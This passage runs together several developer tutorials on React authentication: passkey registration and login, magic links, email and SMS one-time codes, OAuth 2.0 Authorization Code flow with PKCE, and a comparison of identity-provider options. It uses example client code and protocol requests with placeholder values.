Just like the first endpoint, /api/passkeys/register/verify is an endpoint we implement ourselves.

The server processes the WebAuthn response, checks it against the registration ceremony it started, and extracts the credential information it needs.

If the verification succeeds, it stores the credential ID and public key against the user's account.

At no point does your React application or backend receive the user's fingerprint, Face ID data, or device PIN. Those stay local to the authenticator and are only used to authorize access to the private key.

At this point, registration is complete.

The server has the public credential, the authenticator has the private key, and the user now has a passkey they can use during the authentication ceremony.

Authentication ceremony​

When the user comes back later and wants to sign in, the flow looks very similar to registration.

This time, instead of creating a new credential, we are asking the user to prove that they still have access to a passkey that was registered earlier.

React starts by asking the server for a set of authentication options.

const optionsJSON = await fetch("/api/passkeys/login/options", {
  method: "POST",
  credentials: "include",
}).then((res) => res.json());

Just like the registration endpoint, /api/passkeys/login/options is an endpoint we define in our own backend.

The server creates the options for this specific login attempt and sends them back to the application.

A simplified response might look like this:

{
  "challenge": "base64url-encoded-random-value",
  "rpId": "example.com",
  "allowCredentials": [
    {
      "type": "public-key",
      "id": "base64url-encoded-credential-id"
    }
  ],
  "timeout": 60000,
  "userVerification": "preferred"
}

The shape is a little different from registration because we are no longer creating a credential.

• challenge is another fresh random value generated for this login attempt.
• rpId identifies the relying party the passkey belongs to.
• allowCredentials can tell the browser which registered credentials are allowed for this request. Depending on how you design the login flow, this list may also be omitted so the browser can discover an appropriate passkey itself.
• userVerification tells the browser what level of user verification the relying party is requesting.

As before, some of these values are represented as binary data by WebAuthn, so we convert the JSON response into the format the browser API expects:

const options = PublicKeyCredential.parseRequestOptionsFromJSON(optionsJSON);

Now React can ask the browser to authenticate the user:

const credential = await navigator.credentials.get({
  publicKey: options,
});

At this point, the browser looks for a passkey that matches the request.

The user might be asked to approve its use with Face ID, Touch ID, Windows Hello, a device PIN, or another mechanism supported by the authenticator.

Once approved, the authenticator uses the private key associated with that passkey to create a signed response for this login attempt.

The private key itself never leaves the authenticator.

The browser returns the authentication response to React, and React sends it back to the server:

const result = await fetch("/api/passkeys/login/verify", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  credentials: "include",
  body: JSON.stringify(credential.toJSON()),
});

/api/passkeys/login/verify is another backend endpoint that we implement ourselves.

The server already has the credential ID and public key that were stored during registration.

It uses that information to verify the response returned by the authenticator.

The server also checks that the response belongs to the challenge it created for this login attempt and that it came from the expected relying party and origin.

If those checks succeed, the server can treat the user as authenticated and continue with whatever comes next in your application, such as creating a session or issuing tokens.

So the authentication ceremony can be reduced to this:

Server creates authentication options
   ↓
React passes them to WebAuthn
   ↓
Browser finds a matching passkey
   ↓
Authenticator signs the challenge
   ↓
React sends the response to the server
   ↓
Server verifies it using the stored public key
   ↓
User is authenticated

If you compare that with registration, the difference is fairly straightforward.

During registration, the authenticator creates a new key pair and the server stores the public credential.

During authentication, the authenticator proves that it still has the corresponding private key, and the server verifies that proof using the public key it already stored.

Conditional UI and autofill​

So far, we've assumed the user clicks a dedicated Sign in with passkey button. That is one way to do it, but passkeys can also be built directly into a normal login form.

Suppose your React application already has an email or username field:

<input
  type="email"
  name="email"
  autoComplete="username webauthn"
  placeholder="Email"
/>

The webauthn value tells the browser that passkeys can be offered through autofill for this field.

Now, instead of waiting for the user to click a separate passkey button, your application can start a WebAuthn request in conditional mode.

First, check whether the browser supports conditional mediation:

const supported = await PublicKeyCredential.isConditionalMediationAvailable();

If it does, ask your backend for the authentication options just like we did in the normal authentication ceremony:

const optionsJSON = await fetch("/api/passkeys/login/options", {
  method: "POST",
}).then((res) => res.json());

const options = PublicKeyCredential.parseRequestOptionsFromJSON(optionsJSON);

Then start the WebAuthn request with mediation: "conditional":

const credential = await navigator.credentials.get({
  publicKey: options,
  mediation: "conditional",
});

The difference is in how the browser presents the authentication flow.

With a normal navigator.credentials.get() call, the browser can immediately show the passkey authentication experience.

With conditional mediation, the request can wait while the user interacts with the login form.

So when the user clicks into the email field, the browser may offer an available passkey alongside the normal autofill suggestions. For example:

alex@example.com
Use passkey for alex@example.com

If the user selects the passkey, the pending WebAuthn request continues and the browser asks them to approve the authentication using the available authenticator.

Once that succeeds, React gets the credential response just like before:

if (credential) {
  await fetch("/api/passkeys/login/verify", {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
    },
    body: JSON.stringify(credential.toJSON()),
  });
}

The server then verifies the response using the public credential stored during registration.

Put together, a simple React implementation might look like this:

import { useEffect } from "react";

function Login() {
  useEffect(() => {
    async function startConditionalPasskeyLogin() {
      const supported = await PublicKeyCredential.isConditionalMediationAvailable();
      if (!supported) {
        return;
      }

      const optionsJSON = await fetch("/api/passkeys/login/options", {
        method: "POST",
      }).then((res) => res.json());

      const options = PublicKeyCredential.parseRequestOptionsFromJSON(optionsJSON);

      const credential = await navigator.credentials.get({
        publicKey: options,
        mediation: "conditional",
      });

      if (!credential) {
        return;
      }

      await fetch("/api/passkeys/login/verify", {
        method: "POST",
        headers: {
          "Content-Type": "application/json",
        },
        body: JSON.stringify(credential.toJSON()),
      });
    }

    startConditionalPasskeyLogin();
  }, []);

  return (
    <form>
      <input
        type="email"
        name="email"
        autoComplete="username webauthn"
        placeholder="Email"
      />
      <button type="submit">Continue</button>
    </form>
  );
}

From the user's point of view, there is no separate passkey flow to discover. They click into the same login field they would normally use, and if the browser has a passkey available for the site, it can offer that credential directly.

What breaks when the user gets a new device?​

Getting a new device does not necessarily mean losing access to a passkey.

If the passkey is synced through a credential provider, it may become available again when the user signs in on the new device.

But that will not cover every case. A user might lose access to the credential provider, use a device-bound passkey, or lose the hardware security key that holds it.

So you still need a recovery path for the case where none of the user's passkeys are available.

That recovery path becomes part of your authentication security model, which takes us back to the recovery discussion earlier.

Magic links in React​

Magic links are much simpler than passkeys.

Instead of asking the user for a password, you ask for their email address and send them a short-lived sign-in link.

A basic React form might look like this:

function MagicLinkLogin() {
  const [email, setEmail] = useState("");

  async function sendLink(event) {
    event.preventDefault();
    await fetch("/api/auth/magic-link", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ email }),
    });
  }

  return (
    <form onSubmit={sendLink}>
      <input
        type="email"
        value={email}
        onChange={(event) => setEmail(event.target.value)}
        autoComplete="email"
      />
      <button type="submit">Email me a sign-in link</button>
    </form>
  );
}

Here, /api/auth/magic-link is an endpoint you implement on your backend.

React sends the email address to that endpoint, and the backend creates a cryptographically strong, short-lived token and sends the user an email containing a link.

That link might look something like this:

https://app.example.com/login/callback?token=abc123

The user clicks the link, comes back to your application, and the token is sent to the backend for verification.

If the token is valid and has not expired or already been used, the backend can authenticate the user and create a session.

So the basic flow is:

User enters email
   ↓
React asks backend to send a magic link
   ↓
Backend creates a short-lived token
   ↓
User receives the email
   ↓
User clicks the link
   ↓
Backend verifies the token
   ↓
User is authenticated

Handling the callback route​

Once the user clicks the link in their email, they need somewhere to land in your React application.

Suppose the link points to:

https://app.example.com/login/callback?token=abc123

Your callback page can read the token from the URL and send it back to the backend:

function MagicLinkCallback() {
  const [status, setStatus] = useState("Signing you in...");

  useEffect(() => {
    const token = new URLSearchParams(window.location.search).get("token");

    fetch("/api/auth/magic-link/verify", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      credentials: "include",
      body: JSON.stringify({ token }),
    })
      .then((response) => {
        if (!response.ok) {
          throw new Error("Invalid link");
        }
        setStatus("Signed in");
      })
      .catch(() => {
        setStatus("This sign-in link is invalid or has expired.");
      });
  }, []);

  return <p>{status}</p>;
}

React is not deciding whether the token is valid.

It reads the token from the callback URL and sends it back to the backend that issued it.

The backend checks things such as whether the token exists, whether it has expired, and whether it has already been used.

If those checks succeed, the backend can authenticate the user and establish a session.

The prefetch problem and how to survive it​

There is one slightly awkward problem with magic links.

The first thing that opens the link might not be the user.

Email providers and security products often inspect links inside messages before the user clicks them. They do this to check whether a link might lead to a malicious website.

That can cause problems if simply opening the URL immediately consumes your one-time login token.

For example, this design can be fragile:

GET magic-link URL
   ↓
Token is immediately consumed
   ↓
User clicks the email later
   ↓
Link no longer works

A safer approach is to avoid completing the authentication just because someone performed a GET request.

Instead, the link can first open a confirmation page:

GET magic-link URL
   ↓
Show confirmation page
   ↓
User chooses to continue
   ↓
POST token for verification
   ↓
User is authenticated

The token can still be short-lived and single use.

The difference is that the security-sensitive action only happens after an explicit user action rather than the first time something fetches the URL.

There's one more thing to think about with magic links: the user may not open the link on the same device where they started the login.

They might request the link on a laptop, then open the email on their phone and continue from there.

Whether you allow that is a product decision.

It makes the experience more flexible, but it also means the email account becomes the thing proving the user's identity. The original browser session is no longer necessarily part of that proof.

So when you design a magic-link flow, decide whether cross-device login is something you want to support and what that means for your recovery and security model.

Email and SMS OTP in React​

OTP is the pragmatic middle ground.

There is nothing to enroll.

There is nothing permanent for the user to remember.

And unlike a magic link, the login flow can stay in the original browser.

The user enters their email or phone number, receives a code, and types it back into the application.

Building an OTP input that does not fight the user​

There is a surprisingly easy way to make OTP inputs annoying: build six beautiful individual boxes.

[ 1 ] [ 8 ] [ 4 ] [ 7 ] [ 2 ] [ 9 ]

Now you have to manage:

• focus movement,
• backspace behavior,
• pasting six characters,
• arrow keys,
• screen readers,
• mobile keyboards.

Unless you have a strong UX reason otherwise, a single field is wonderfully boring:

<input
  name="otp"
  inputMode="numeric"
  autoComplete="one-time-code"
  maxLength={6}
/>

Then submit the value normally:

await fetch("/api/auth/otp/verify", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  credentials: "include",
  body: JSON.stringify({
    email,
    code,
  }),
});

Rate limiting and resend​

Now imagine your login page has this button: Resend code.

And absolutely nothing stopping someone from clicking it 500 times.

You have created both an abuse mechanism and, with SMS, potentially a very expensive button.

Your OTP service needs limits around:

• verification attempts,
• resend attempts,
• code lifetime,
• requests per account,
• requests per IP or other risk signals.

Your UI should reflect those limits instead of pretending retries are unlimited:

<button disabled={secondsRemaining > 0}>
  {secondsRemaining > 0 ? `Resend in ${secondsRemaining}s` : "Resend code"}
</button>

The frontend timer is UX.

The server-side limit is security.

Do not confuse the two.

Why SMS is the weakest option​

SMS OTP is useful.

It is familiar, nearly universal and sometimes the only practical way to reach a user.

But it should not be treated as equivalent to a passkey.

SMS also introduces something email OTP doesn't: a direct delivery cost for every authentication attempt.

That might be insignificant for a small application and very significant at consumer scale.

So if you're choosing between email and SMS OTP purely because both produce a six-digit code, you're looking at the least important similarity.

The channel behind the code is what matters.

Passwordless and MFA are not the same thing​

This deserves its own section because the terms get mixed together constantly.

Passwordless tells you that authentication did not require a password.

Multi-factor authentication tells you that authentication required more than one independent authentication factor.

Those are different properties.

A user signing in with only an email OTP is passwordless.

It is not automatically MFA.

A user signing in using a password and then an Email OTP is using MFA, but the authentication is obviously not passwordless.

And a passkey can have interesting authentication properties of its own, but you should not turn "uses biometrics" into the blanket claim that every passkey login is automatically equivalent to whatever MFA policy your organization requires.

Design the authentication flow according to the assurance you actually need.

Don't derive it from the marketing category the login method happens to sit under.

Implementing with @asgardeo/react​

Everything we've built so far was deliberately low level.

That was useful because now you know where the boundaries are:

React
   ↓
starts authentication
   ↓
Browser / delivery channel
   ↓
interacts with the user
   ↓
Identity system
   ↓
verifies authentication
   ↓
React
   ↓
gets an authenticated session

If you're using WSO2 Identity Platform, you don't need to rebuild those ceremonies inside your React application.

The platform supports passwordless login methods such as Magic Link, Passkey, Email OTP and SMS OTP as configurable authentication options.

Your React integration remains refreshingly small.

import {
  AsgardeoProvider,
  SignInButton,
  SignedIn,
  SignedOut,
} from "@asgardeo/react";

function App() {
  return (
    <>
      <SignedOut>
        <SignInButton />
      </SignedOut>
      <SignedIn>
        <Dashboard />
      </SignedIn>
    </>
  );
}

The important point is that there isn't a separate React passkey implementation hiding inside that button.

Your application starts authentication.

The login flow configured for the application determines whether the user sees a passkey, magic link, OTP, or another authentication method.

That is exactly the separation you want.

Your React code should care that a user became authenticated.

Your identity layer should care how that authentication happened.

Account recovery: the part that decides whether this works​

Let's finish with the part passwordless demos usually skip.

You have removed the password.

Great.

Now remove the user's phone.

Their laptop too.

And access to their old email account.

Can they still recover the account?

Every passwordless system eventually needs an answer to some version of that question.

For passkeys, synchronized credentials make ordinary device replacement considerably easier because credentials may be restored through the user's passkey provider.

But recovery still exists for the cases where those mechanisms are unavailable.

For magic links and Email OTP, recovery effectively inherits the recovery model of the email provider.

For SMS OTP, it inherits part of the recovery and account-transfer model of the mobile carrier.

And every fallback you add can weaken the stronger method sitting above it.

Imagine this authentication policy:

Primary:
  Passkey

Fallback:
  Email OTP

Recovery:
  Email support request

An attacker does not necessarily need to defeat the passkey.

They may simply attack the fallback.

That's why the hardest question in passwordless authentication isn't:

How do I remove the password?

It's:

What evidence will I trust when the user's normal authenticator is gone?

Answer that first.

Then choose the passwordless method.

Conclusion​

Passkeys, magic links and OTP can all remove the password field from your React application.

But that is almost where their similarities end.

Passkeys use public-key cryptography and give you the strongest phishing resistance of the three.

Magic links turn access to an email account into a very simple sign-in experience.

Email and SMS OTP provide an easy, familiar fallback when you don't want users to enroll another credential.

And React itself should stay relatively boring throughout all of this.

It starts the flow.

It presents the UI.

It carries the authentication result back and forth.

The identity system performs the actual verification.

If there is one design decision to make before writing any of that code, though, make it recovery.

Pick your fallback before you pick your primary passwordless method.

Because the strongest login ceremony in the world does not help much if the easiest way into the account is the recovery button underneath it.

Every time a user clicks a "Sign In" button in your React app, it creates a small storm.

The browser jumps between URLs. Random-looking values appear in query parameters. Requests fly off to an identity server. Tokens come back. And a few seconds later, your app somehow knows exactly who the user is.

With a modern SDK like the WSO2 Identity Platform React SDK, all of that sits behind a single <SignInButton /> component. This is exactly the point of SDKs. Every time you need authentication, you shouldn't have to rebuild an entire authentication protocol.

In this article, we'll pull back the curtain and show you what's happening behind the scenes, not to bore you with facts, but to show you exactly what's happening so the next time someone asks you why your login page is safe, you'll have a much better answer than "the SDK handles it".

The flow we'll be following is Authorization Code Flow with PKCE, the OAuth 2.0 and OpenID Connect flow every React SPA needs to get right.

What is OAuth 2.0 and how is it different from OpenID Connect​

We're getting a little ahead of ourselves. Before we get into the Authorization Code Flow and PKCE, let's start with the basics: What is OAuth 2.0, and what is OpenID Connect?

These two terms are often mentioned together and sometimes even used interchangeably. But while they're closely related, they solve two very different problems.

Let's clear this up once and for all: OAuth 2.0 is about authorization, while OpenID Connect is about authentication.

The next two points will make that distinction a little easier to see.

• OAuth 2.0 is an authorization framework. It answers the question: "Can this application access this resource on behalf of this user?" The output of an OAuth 2.0 flow is an access token: a credential your app attaches to API requests to prove that the user has the permission to access this resource and perform the requested action.

• OpenID Connect (OIDC) is an identity layer built on top of OAuth 2.0. It answers a different question: "Who is this user?" OIDC standardizes how an app requests and verifies a user's identity, and its output is an ID token: a token containing claims like the user's name, email, and a unique subject identifier.

Your React application needs both. You use OIDC to establish who's logged in (populate a user profile, decide what to render) and OAuth 2.0 access tokens to make authenticated calls to your backend APIs on that user's behalf.

To summarize,

What is the Authorization Code flow?​

The OAuth 2.0 specification defines several "flows", known formally as grant types, for obtaining tokens.

A grant type defines how your application communicates with the token issuer, such as an identity server, to get those tokens.

We won't go deep into every grant type defined in the OAuth 2.0 specification. Instead, we'll focus on the Authorization Code Flow, the subject of this article. Along the way, you'll also get a sense of how some older, less secure grant types worked and how the Authorization Code Flow addresses many of their shortcomings.

Before we get into the nitty-gritty, let's first look at how the Authorization Code grant works at a high level.

One thing you may have noticed in the flow diagram above is that the Authorization Code Flow doesn't send the access token or ID token directly to the application.

Instead, it first returns a short-lived authorization code, which the application then exchanges for tokens.

Why the two step flow?

When a user clicks sign in, the authorization request happens through the user's browser. If the access token returns from the browser-based flow, it could be exposed in the URL and potentially end up in places such as the browser history or referrer data.

A legacy grant type called the Implicit grant worked this way. Instead of returning an authorization code, it returned the access token directly through the browser redirect.

The Authorization Code Flow avoids that. Rather than sending the token through the redirect, the authorization server returns a short-lived, single-use authorization code. The application then exchanges that code for the actual tokens in a separate request.

How is this more secure?

The key difference is how the two steps travel.

The authorization code is returned through the browser redirect, where values can appear in the URL. The token exchange, however, is a separate HTTP request to the token endpoint. The tokens come back in the response body, not in the browser's address bar.

That means the access token and ID token stay out of the redirect URL, browser history, and referrer data. The only thing exposed on that first browser-facing leg is the short-lived authorization code.

But..if that code travels through the browser, what stops someone from stealing it and exchanging it for the tokens? If that was your first thought, you're already one step ahead. For browser-based apps like React SPAs, the Authorization Code Flow alone isn't quite enough. It needs one more piece: PKCE.

The public client problem, and how PKCE solves it​

For conventional applications, the Authorization Grant Flow alone can be enough on its own. These applications can safely hold a secret, which the authorization server verifies along with the authorization code before issuing tokens.

But, anything shipped in a React app's JavaScript bundle is visible to anyone who opens their browser's devtools. If you embedded a client secret in your frontend code, it wouldn't be a secret anymore. This is why single-page applications are called public clients: clients that, by design, cannot hold a confidential secret.

Without a secret, the Authorization Code Flow has a gap: if an attacker somehow got hold of your app's authorization code they could exchange it for tokens themselves.

This is exactly the gap PKCE (Proof Key for Code Exchange, defined in RFC 7636, pronounced "pixy") closes. Let's look at how PKCE solves this problem.

1. Before sending the authorization request, your app generates a random secret in memory called the code verifier.

2. It then derives a code challenge from that verifier by hashing it with SHA-256 and Base64URL-encoding the result. Only the challenge is sent with the authorization request. The verifier stays with the app.

3. When the app later exchanges the authorization code for tokens, it sends the original code verifier along with the code.

4. The authorization server applies the same transformation to the verifier and compares the result with the code challenge from the original request. If they don't match, the token exchange is rejected.

Because the code verifier never leaves your app until that final exchange, a stolen authorization code is useless to an attacker who doesn't also have the verifier. That four-step handshake is the entire React PKCE flow, and it's what lets a public client prove its identity without ever holding a secret.

PKCE was originally introduced to protect public clients like SPAs. The OAuth 2.1 draft, still an Internet-Draft and not yet a finalized standard, proposes to go further and require PKCE for all clients using the Authorization Code Flow, adding an extra layer of protection even when a client secret is available.

That, though, is a discussion for another day.

The Authorization Code Flow with PKCE, step by step​

By now, you should have a good idea of how the Authorization Code Flow with PKCE works at a high level. In this section, we'll take it one step further and look at what those requests actually look like.

Before we jump into the more detailed flow diagram, this time with the user's browser in the picture, let's quickly go over a few key pieces of information the application and identity server rely on.

• client_id - The identity server uses this to recognize your application.

• redirect_uri - The URL the identity server sends the browser back to after authorization is complete. This is often called the callback URL.

• state - A random value your app creates before the flow starts. When the identity server sends it back, your app checks that it's the same value it started with. It protects against cross-site request forgery: without it, an attacker could trick a user into completing someone else's login flow.

• nonce - Another random value, but this one belongs to OpenID Connect. If the application sends a nonce with the authentication request, the identity server includes that same value in the ID token. The application can then check that the ID token belongs to the login attempt it started.

Let's slow things down and dissect the two most important requests in this flow.

First, the browser talks to the identity server to request an authorization code. Later, the application talks to the identity server again to exchange that code for tokens.

I want an authorization code

The user's browser, called the user agent in OAuth, sends this request to the identity server to formally kick off the flow.

GET /authorize?
  response_type=code
  &client_id=YOUR_CLIENT_ID
  &redirect_uri=https://app.example.com/callback
  &scope=openid profile
  &state=RANDOM_STATE
  &code_challenge=CODE_CHALLENGE
  &code_challenge_method=S256

Let's map the concepts you already know to the actual parameter names in this request:

• response_type=code - Tells the identity server that the application wants an authorization code back.

• scope - Describes the permissions the application is requesting. Including the openid scope turns the OAuth 2.0 request into an OpenID Connect authentication request.

• code_challenge - The PKCE challenge derived from the code verifier and sent with the authorization request.

• code_challenge_method=S256 - Tells the identity server that the challenge was created using SHA-256.

In plain terms, this request says, Here's who I am, I want an authorization code, and when you're done, send it back to this URL.

I want my tokens

Once the browser lands back on your redirect URI with the authorization code, the browser's part is done. The application takes over from here and calls the identity server directly, not through the browser, to exchange that code for tokens.

POST /oauth2/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=https://app.example.com/callback&client_id=YOUR_CLIENT_ID&code_verifier=CODE_VERIFIER

• grant_type - Tells the identity server which OAuth grant the application is using to request tokens.

• code_verifier - The original random PKCE value the application created before starting the flow. It sends this now so the identity server can verify that the same app that started the authorization request is the one exchanging the code for tokens.

If the code, the verifier, and everything else on the identity server's checklist line up, the response carries the tokens your application has been waiting for:

{
  "access_token": "ACCESS_TOKEN",
  "id_token": "ID_TOKEN",
  "token_type": "Bearer",
  "expires_in": 3600
}

• token_type - Tells the application how the access token should be used when making API requests. A value of Bearer means the app sends the token as a bearer token, typically in the Authorization header: Authorization: Bearer ACCESS_TOKEN.

See the flow in your own React app​

If you've followed the Mastering React Auth tutorial, you already have a React app wired up with <AsgardeoProvider /> and <SignInButton /> from the @asgardeo/react OIDC React client. That's the entire OAuth2 React setup, in two components.

Let's use that same setup to watch this flow happen in your own application.

Open your app, open the browser devtools, switch to the Network tab, and filter requests by typing authorize. Now click the sign-in button.

Switching to the Payload tab breaks that same request down into its individual query string parameters, which is easier to read than parsing the raw URL:

You'll find every parameter we discussed appear in the request: response_type=code, scope=openid profile, redirect_uri, code_challenge_method=S256, and a code_challenge value. The SDK generated the code verifier, derived this challenge, and attached it here without you having to do any of the work.

After you complete the login form, filter the network tab by typing token instead. Click the request that fired right after you click sign in and switch to its Payload tab.

There it is: grant_type=authorization_code, the code from the redirect, and, critically, a code_verifier value, proving this is the same app instance that started the login.

Switch over to the Response tab on that same request, and you'll find what the application was waiting for:

The access token and ID token come back here, in the response body.

Scopes, claims and the userinfo endpoint​

We briefly touched on scopes earlier, but they deserve a little more attention because they show up in almost every OAuth and OpenID Connect request.

At a high level, a scope is a way for the client to say:

"This is the access I'm asking for."

For example:

scope=openid profile email

Each value adds something to the request.

• openid tells the authorization server that this is an OpenID Connect request, not just a plain OAuth 2.0 authorization request.

• profile and email ask for access to related information about the user.

In OpenID Connect, pieces of information about the user are represented as claims.

A claim is a name-value pair that describes something about the user or the authentication event. For example:

{
  "name": "Alex",
  "email": "alex@example.com"
}

Here, name and email are claims.

Depending on the provider and how it is configured, requested claims may be returned in the ID token or made available through the UserInfo endpoint, an OpenID Connect endpoint your application can call when it wants additional information about the signed-in user.

The application calls it using the access token it already has:

GET /userinfo HTTP/1.1
Host: identity.example.com
Authorization: Bearer ACCESS_TOKEN

The provider can then return claims associated with that user:

{
  "sub": "248289761001",
  "name": "Alex",
  "email": "alex@example.com"
}

So scopes describe what the client is asking for, while claims are the actual pieces of information returned about the user.

Validating tokens correctly, and the shortcuts that break​

By the time your React application gets an ID token back, the job is not done. In order for the application to trust the received token, it needs answers for the following questions.

• Did this token come from the identity provider I trust?
• Was it actually issued for my application?
• Does it belong to the authentication request I started?
• Can I trust the contents inside it?

We already saw that the aud claim tells the client who the ID token was issued for.

Most of the time, it is straightforward:

{
  "aud": "react-client"
}

If your client ID is react-client, that is exactly what you expect to see.

But OpenID Connect also allows an ID token to have more than one audience:

{
  "aud": ["react-client", "another-client"],
  "azp": "react-client"
}

When that happens, another claim can appear: azp, which stands for authorized party.

azp identifies the client the token was issued to when there is more than one audience involved. So if azp is present, the client checks that it contains its own client ID.

Earlier in the authorization request, we introduced another random value called nonce. When the client sends a nonce with the OpenID Connect request, the identity provider includes that same value in the ID token. So the client can compare:

Authorization request
  nonce = abc123

ID token
  nonce = abc123

If the values match, the ID token belongs to the authentication request the client started. If they do not, the token should not be accepted.

There is one more part of ID token validation we have not really talked about yet: the signature.

An ID token is normally represented as a JSON Web Token, or JWT. We do not need to go deep into JWTs here, but in short, the identity provider signs the ID token using a private key. The client can then verify that signature using the corresponding public key.

A valid signature is not the end of validation​

This is where one of the easiest shortcuts appears.

Suppose the token has:

• ✓ valid signature
• ✓ not expired
• ✗ wrong audience

That token still needs to be rejected. Claims such as iss, aud, exp, and nonce answer different questions about whether that token is acceptable for this client and this login.

So far, we have been talking about ID tokens because the OIDC client consumes them. An access token could be an opaque value:

2YotnFZFEjr1zCsicMWpAA

There may be nothing useful for your React application to decode. The API may validate that token using a mechanism such as token introspection, depending on how the authorization server is configured.

In a production React application, a well-tested OIDC client normally handles ID token validation for you, while the API independently validates the access token it receives. The SDK removes a lot of protocol code from your application. The validation rules underneath it still remain the same.

Conclusion​

There you have it.

The Authorization Code Flow with PKCE looks complicated at first because a lot of small pieces move together: redirects, authorization codes, state, nonce, PKCE values, and finally the tokens themselves.

But each piece has a specific job.

The Authorization Code Flow keeps tokens out of the browser-facing authorization response.

PKCE makes sure that stealing the authorization code alone is not enough to exchange it for tokens.

OpenID Connect adds the identity layer on top of OAuth 2.0, giving the client an ID token and a standard way to work with user claims.

And once the tokens arrive, validation makes sure they came from the issuer you trust, were intended for the right client or API, and belong to the flow you actually started.

In a real React application, you normally do not want to implement all of this yourself. A well-tested OIDC SDK handles most of the protocol work for you.

But understanding what sits underneath the SDK changes how you debug authentication problems and how you reason about the security of the flow.

A <SignInButton /> may be all you write in React.

Behind it, there is a carefully coordinated protocol making sure the right user gets the right tokens, and that those tokens are only accepted where they are supposed to be.

This guide is for React developers who want to understand that chain rather than copy it. We'll cover what frontend authentication actually means inside a single-page app, why React authentication differs from server-rendered login, the four real ways to get it, the sequence OAuth 2.0 and OpenID Connect now require, where tokens should live, and how to wire a working sign-in.

What "authentication" actually means in a React app​

Authentication is the process of proving who a user is. In a React application, that proof never happens in React, because React is a frontend library that runs entirely in the user's browser. The browser gets handed off to whoever is going to vouch for the user, call that party the identity provider, which might sit alongside your own backend or might be a separate identity service you don't run at all. That party checks the user's identity and hands back proof of it, calls that proof the credential, and only then does control return to your React code, which carries that credential to an API that decides what the user may do.

That distinction is the whole subject. Your React app bundle ships to the user's device, where they can read it, modify it, and run it under a debugger, so anything it contains is public and anything it decides can be overridden. The React app is not a security boundary. React user authentication is a client that requests proof from one server and presents it to another, and the honest way to read every code sample below is as user experience wrapped around a decision made somewhere else.

That framing also explains a class of bug that looks like a security hole and isn't. If you hide an admin button behind a role check and someone opens dev tools to un-hide it, nothing has been breached. The breach happens only if the API behind that button also trusts the client. That's worth pinning down precisely, since authentication and authorization get used almost interchangeably and they are not the same thing in a React app.

Authentication vs authorization in one table​

OpenID Connect answers the first question, OAuth 2.0 answers the second, and neither name needs more explanation yet. The row that matters is the last one. Both belong on a server, and both get mirrored into your React code so the interface makes sense.

What the browser can and cannot be trusted with​

The browser protects you in one direction only, and knowing which direction explains most of this guide. It does stop other websites from reading your page's data. What it cannot do is protect your page from code running inside your page. If an attacker gets a script onto your site, through a comment field, a dependency, or an ad, the browser treats that script as part of your page, so it can read anything your own code can read. That attack is called cross-site scripting, usually shortened to XSS.

Other sites, kept out but your own page, wide open. When you reach the argument later about where to keep a login token, that gap is the only reason the argument exists.

One consequence lands right away. A server-side application usually proves its identity to a login service with a password that belongs to the application itself rather than to any user, and that password stays safe because it never leaves the server. A React app cannot use one, because shipping it to the browser publishes it to everyone who loads your site. OAuth 2.0 has a name for applications in that position, public clients, and every browser app is one. It is also why the sign-in sequence in the next section carries an extra step that server-side apps skip. That step exists to replace the password your app cannot keep.

The four options, and when each is wrong​

Here's the gap in most of the guides on this topic: they teach one path. In practice there are four, and picking the wrong one costs more than a bad afternoon of coding. Each verdict below includes the case where it's the wrong answer, because that's the part vendors leave out.

• Roll your own: You own a users table, hash passwords yourself, and issue your own sessions or tokens. This is fine for a prototype, a hackathon, or an internal tool with 12 users behind a VPN. Avoid it in production. Without realizing it, you end up designing, implementing, running, and maintaining an identity provider by yourself. The list of things you now maintain is longer than it looks: password reset, email verification, session revocation, account lockout, credential stuffing defense, audit logging, and eventually someone asking for single sign-on.

• A library: A React authentication library such as Auth.js or Better Auth runs inside your own application, with a backend component that handles the mechanics, without introducing a separate service. You keep your data and your deployment story stays simple. While this is lighter than rolling your own, you're still responsible for that backend component's updates and its security posture. It's the wrong answer when you need federation to enterprise identity providers, when compliance asks for an audit trail you didn't build, or when a second application needs to share the same login and the library only ever ran inside the first one.

• A self-hosted identity provider: Open source software such as WSO2 Identity Server and Keycloak, or their proprietary equivalents, gives you a full identity provider that you run yourself, speaking the same standards as any commercial service. You keep data residency and you can deploy anywhere, including networks with no internet access. Compared to the previous two options, you're still running and maintaining it, but you get more support from maintainers and vendors than a library gives you, especially around scaling, performance, compliance, and deployment artifacts. It's the wrong answer when nobody on your team wants to own upgrades, certificate rotation, and a pager alert at three in the morning, and it's an expensive answer if you pick it for a five-person side project.

• A hosted identity service (IDaaS): A third party runs the identity provider and delivers it to you as a service. Providers such as WSO2 Identity Platform and Auth0 own the installing, the patching, the scaling, and the on-call rotation, and none of it is yours. That makes this the most straightforward of the four and by a distance the fastest to a working login, which is why so many teams start here and why it is usually the right place to start. What you give up is ownership. Identity runs on somebody else's infrastructure rather than inside yours, and you pay by usage rather than for servers, so the bill tracks how well your product is doing. It's the wrong answer when identity has to live inside your own infrastructure, whether for data residency, for a network with no route to the internet, or for a regulator who wants to know exactly where the data sits, and it's the wrong answer when usage-based pricing at your scale costs more than operating it yourself would.

Decision table: control, effort, cost at scale, compliance​

The build-versus-buy tipping point​

The tipping point isn't user count, which is the metric everyone reaches for first. It's the arrival of the second requirement that isn't login. One application with email and password is a weekend. The same application plus "our enterprise customer wants SAML", plus "security wants MFA on admin accounts", plus "legal wants to know who accessed what" is a quarter of engineering time you didn't plan for, and it recurs.

So the useful question is not "can we build this?" It's "do we want to be maintaining an identity provider in three years?" If the honest answer is no, choose a provider now, while migrating is still cheap.

The standard flow: Authorization Code with PKCE​

Before naming the exact steps, it's worth stopping to say what OAuth 2.0 and OpenID Connect actually are, since you met their names earlier and everything below assumes you know what they cover.

OAuth 2.0 solves a narrow problem: how does one application get permission to act on a user's behalf against a second service, without the user ever handing that first application their password. As an example, you've used this yourself every time an app showed you a "Continue with Google" screen that then listed exactly what it wanted access to. You approve it at Google, not at the app, and Google hands the app a limited pass rather than your actual Google password. That limited pass is a token, and OAuth 2.0 is the rulebook for how an app requests one, how the user approves it, and how the app uses it afterward.

